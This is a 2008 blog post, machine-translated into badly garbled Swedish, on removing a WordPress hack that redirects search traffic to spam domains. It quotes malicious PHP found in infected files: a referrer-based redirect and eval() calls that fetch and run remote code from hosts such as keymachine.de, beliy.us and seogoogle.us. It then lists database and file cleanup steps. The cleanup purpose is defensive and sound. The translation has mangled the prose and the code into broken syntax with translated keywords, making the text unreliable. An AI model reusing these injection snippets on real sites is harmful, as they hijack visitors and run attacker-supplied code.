WordPress Hacka: �tervinna och S�tta fast Google och S�ka Motor eller Nej Laga till Trafik Omdirigerat till Din-Needs.info, AnyResults.Net, Guld-Info.net och Annan Illegal Tomten

Hacka g�r all ute till hacka och exploatera WordPress blogs hospits �ver det alla den spindelv�v, plantande och injektionen illvillig koden in i WordPress koder och data banken for att omdirigera bes�karen och sl� till fr�n Google och annan s�ka motor till spam tomten s�dan som din-needs.info, anyresults.net, guld-info.net, keymachine.de, beliy.us, seogoogle.us och m�nga annan spam tomten s� pass fyllt med betala- per- klick CPC annonser. N�got hacka kommer till m�ltavlan betydligare folkmassa vid omdirigerande all utan WordPress laga till. Utan blitt hacka, de h�r trafik f�rment till ankomma till den blog s� destination.

Symtom om S�ka Motor Omdirigerande Hacka

M�rka s� pass inte all symtom Maj h�nda helt och h�llet. D�r Maj bli mer �n en metod av hacka existerat, vilken bidrog till olik uppfinnande och m�jlig beslutsamhet.

• N�gon klick igenom fr�n s�ka motor s�dan som Google, Yahoo, AOL, MSN, F�nstren Levande s�ka resultaten, inklusive blog namn, vilja bli omdirigerat och avs�nde till hacka’ tomten s�dan som din-needs.info, anyresults.net, guld-info.net, keymachine.de, beliy.us, seogoogle.us, med det ta upp p� en lista s�ker till v�xa. Betraktare ankommer p� den hacka sida med det samma s�ka sn�re s� pass han eller hon anv�nd till s�ka i s�ka motor.
• Klick p� en l�nk till blog p� RSS utfodring l�saren s�dan som Google l�saren kanna bli omdirigerat till hacka tomt alltf�r.
• EN bes�karen med nej redovisa p� det blog, eller inte logik ( hejduk er icke har laga till uppt�ckt vid illvillig koden), vilja bli omdirigerat till spam tomten.
• Bara bes�ken fr�n s�ka motor de/vi/du/ni �r blitt omdirigerat bort, och tricken hantera � d�re runt omkring sannolikt en masse bloggers, webmasters och tomt egendomsr�tt, eller det vill si f�rsening uppt�ckten om problem.
• Pl�tslig enorm och dramatisk droppa och f�rlora av massiv belopp av bes�karen trafik och sida synen i spindelv�v sp�r statistiken, s�rskilt trafik med Google s� h�nskjut, sel om s�ka motor resultaten ledande �r intakt.
• Massiv droppa av annons inkomsten fr�n Google AdSense eller annan annonser n�tverken, eller ansluta kommissionerna.
• Den f�ljande tarvlig kodat PHP koden Maj framtr�da p� det wp-blog-header.php arkivera:

  <?php \
$serefarraygoogle,msn,live,altavista,ask,yahoo,aol,cnn,weather,alexa=("""""""""""""""""""");
$ser0=; foreachseref($ s� $ref) ifstrposstrtolower_SERVER’HTTP_REFERER’,ref((($[])$)!==falsk){ $ser1=”?;bryta; }
om && sizeof_COOKIE0($)==){ headerLocation(”: http:/”.base64_decodeYW55cmVzdWx0cy5uZXQ.(”=”)”/”);utg�ng; }? >

• En bild, vilken �r faktisk en knippa av illvillig PHP koden, var adderat till wp- inneh�llen/ belastar adress listen. F�r exempel, wp- inneh�llen/ belastar/2008/06/06/abcdefghijklmn.jpg, eller den Maj bli insida din dem broschyren, i.e. wp-contents/themes/classic/images/xyz.jpg. Namnen om bild Maj vara i formaten av xxxxxx_old.jpeg.
• En intrade var satta in i MySQL data banken f�r WordPress wp_options till aktivera imagen ( den illvillig PHP koden) som plugg, typiskt s� rss_f541b3abd05e7962fcab37737f40fad8.
• D�r Maj bli ocks� illvillig koder, s�rskilt den h�r s� pass f�rklarat med bed�ma() eller base64_decode() befalla blitt satta in in i annan WordPress PHP arkivera. Exemplen de/vi/du/ni �r den f�ljande koder:

  ifisset_GET'p'(($[])) {
$sl� = @fsockopenkm20725.keymachine.de(’’, 80);
ifsock($){
fwrite ($ sl�, ‘ f� http:/km20725.keymachine.de/ servaren/index.php?/host._SERVER'SERVER_NAME'.p._GET'p'.=’$[]’&=’$[]’ HTTP/1.0.rn′”\\”);
fwrite ($ sl�, ‘ v�rd: km20725.keymachine.de.rnrn’”\\\\”);
whilecontent($[] = fgets ($ sl�));
$bel�tenhet = b�nfalla(”, $ bel�tenhet);
@evaltrimsubstrcontent((($, strposcontent($, “\rnrn\\\”))));
fclose ($ sl�);}
}

  ifisset_GET'p'(($[])) { @eval@file_get_contentshttp((’:/beliy.us/ servaren/index.php?/host._SERVER'SERVER_NAME'.p._GET'p'=’$[]’&=’$[]));
}

  ifisset_GET'p'(($[])) { @eval@file_get_contentshttp((’:/seogoogle.us/ servaren/index.php?/host._SERVER'SERVER_NAME'.p._GET'p'=’$[]’&=’$[]));
}

  evalgzinflatebase64_decode(((

• WordPress dem den d�r er blitt aktiverat och anv�nd kanna bli sprutat in med hacka koden och ber�rt alltf�r. S�dan koden normalt existerar i header.php eller index.php om dem, och har en lina lik till nedan

  ifser”1″($== && sizeof_COOKIE0($)==){ header”Location(:

Den WordPress s�ka trafik omdirigera till spam tomt hacka h�nder sannolikt p� grund av trygghet h�l och vulnerability den d�r er inte lappat n�r blog �gare avg�r inte till stigning till senast version av WordPress ( fast�n n�gotmeddelar s� pass deras blogs blitt hacka sel om dess’ redan p� det senast version av WordPress 2.5.1). Vad . �n anledningen, h�r’ den s�tta fast och l�sande till besluta och nederlag den hacka till tillf�rs�kra s� pass du �ga rygg trafiken och undvika blitt straffa vid Google vid oresonlig omdirigerande till spam siden.

1. Backningen den WordPress data banken.
2. Anv�nda phpMyAdmin till beta WordPress MySQL data banken borden. G� till wp_options bord, och d� redigera raden ben�mn active_plugins. Raden detaljerna all aktiv plugg s� pass er blitt aktiverat. Erfara listan ( i en lina), och blick f�r en en plugg ben�mn sluttat med med en bild utstr�ckande, s�dan som .jpg, .jpeg, .gif och etc. F�r exempel, abcdefgh_old.jpeg. Skriva ned stian till bild arkivera.
3. Anv�ndande sFTP eller SSH ( gl�mma omkring FTP eller Telnet f�r trygghet), d� navigera till stig om arkivera, och stryka arkivet.
4. G� till WordPress Administrat�ren Plugg panel, aktivera ned eller aktivera n�gon plugg till klar bort den illvillig plugg fr�n “active_plugins” rad.
5. Rygg till phpMyAdmin, p� den wp_options bord, finna en rad s� pass inneh�ll den f�ljande sn�re s� option_name:

   rss_f541b3abd05e7962fcab37737f40fad8

   Stryka raden bort.

   Om du dont’ veta hur till utf�ra data banken reng�ring specificerat i stammen �ver, h�r’ en video l�raren:

6. G� till wp_users bord. Om d�r er en namnl�s f�rbrukaren ( ogyltig v�rde i user_nicename f�lt) skapade p� 000000:: p� 0000-00-00, skriva ned f�rbrukaren ID ( ID f�lt, et antal). Stryka f�rbrukaren.
7. Beta den wp_usermeta bord. Lokalisera all rad med f�rbrukaren t�ndstickorna den ID om utpl�nat illegal f�rbrukaren. D�r de/vi/du/ni �r normalt tre rad blitt f�rbundet till inkr�ktaren f�rbrukaren ID. Stryka alla f�rbundet rad.
8. Logik till servaren till redigera den dem arkivera, eller beta den dem arkivera’ koden i Dem Redakt�r av WordPress Administrat�ren Design panel. Check den header.php och index.php f�r n�gon misst�nksam koden. Som n�mnt ovanf�r, blick f�r n�got lik till lina nedan:

   ifser”1″($== && sizeof_COOKIE0($)==){ header”Location(:

   Om de finnar det, stryka och flytta koden. M�rka s� pass den illvillig koden vilja bli flera linjen l�ng i r�kna samman.

9. Om dess’ inte redan existerat, skapa en tom index.html arkivera inne om wp- inneh�llen/ plugg adress listen. Ren index.html g�mmer inneh�llen om plugg adress listen, effektivt skydda vad plugg- i blitt anv�nd fr�n hacka till g�ra h�rd och sp�nna den WordPress trygghet.
10. Belasta upp och s�tta tillbaka var och varje WordPress arkivera ( inte enda bortsett fr�n wp-blog-header.php) p� det servaren med det ny, ren, och originalsenast version fr�n WordPress (om lopp, utom f� arkivera s�dan som wp-config.php och dem). Om din’ befordrande, l�sa denleda f�rsiktig.
11. �ndra din l�senord.
12. Om du har m�ngfaldig f�rbrukaren, �ndra deras l�senord ( eller fr�ga dem till �ndra overtake orden) alltf�r.

viktig: Den h�r er en maskin �vers�tt sida vilken �r f�rsynt " s� �r" utan garantien. Maskin �vers�ttning Maj bli besv�rlig � f�rst�. Behaga h�nskjuta tilloriginal Engelsk artikeln n�rhelst m�jlig.

Del och bidra med eller f� teknisk st�d och hj�lp p�Min Digital Liv Forums.

Ber�ttat Varen

• Till�gga NoFollow Sl�ktskapen till WordPress Blogroll till �ka PageRank
• WordPress Plugg: Uppvisning Google Analytisk och FeedBurner Meddelar Statistiken fr�n Tomt Admin
• Technorati Inkommande Golfbanan Plugg f�r WordPress
• SEO V�nlig Bearbeta Metod till Flytta Spindelv�v URL Fr�n Under adress list till Rotf�sta F�r�lder Broschyren
• Integrera och Uppvisning Google AdSense f�r S�ka och Tillpass-Op Sed S�ka Motor Resultaten i WordPress Blog Sida Mallen
• EN Hastig blick P� Google K�pman S�ka
• Ask.com S�ka Motor Granskning vid CNNMoney
• Driva Mer Trafik vid Anv�ndande Profilen
• Hur till Undvika, F�rbifartsleden eller Rymning Google Sand
• Data �verf�r WordPress 2.3 Frige Kandidat 1 (RC1) med M�rken St�d

Den h�r intrade var postat p� Tisdagen, Juni 10th, 2008 p� 103: er och �r arkiverat underWeblogs. Du kanna f�lja n�gon svaren till den h�r intrade igenom denRSS 2.0 utfodring Du kannalov en svaren,eller sp�r bollen fr�n din �ga tomt.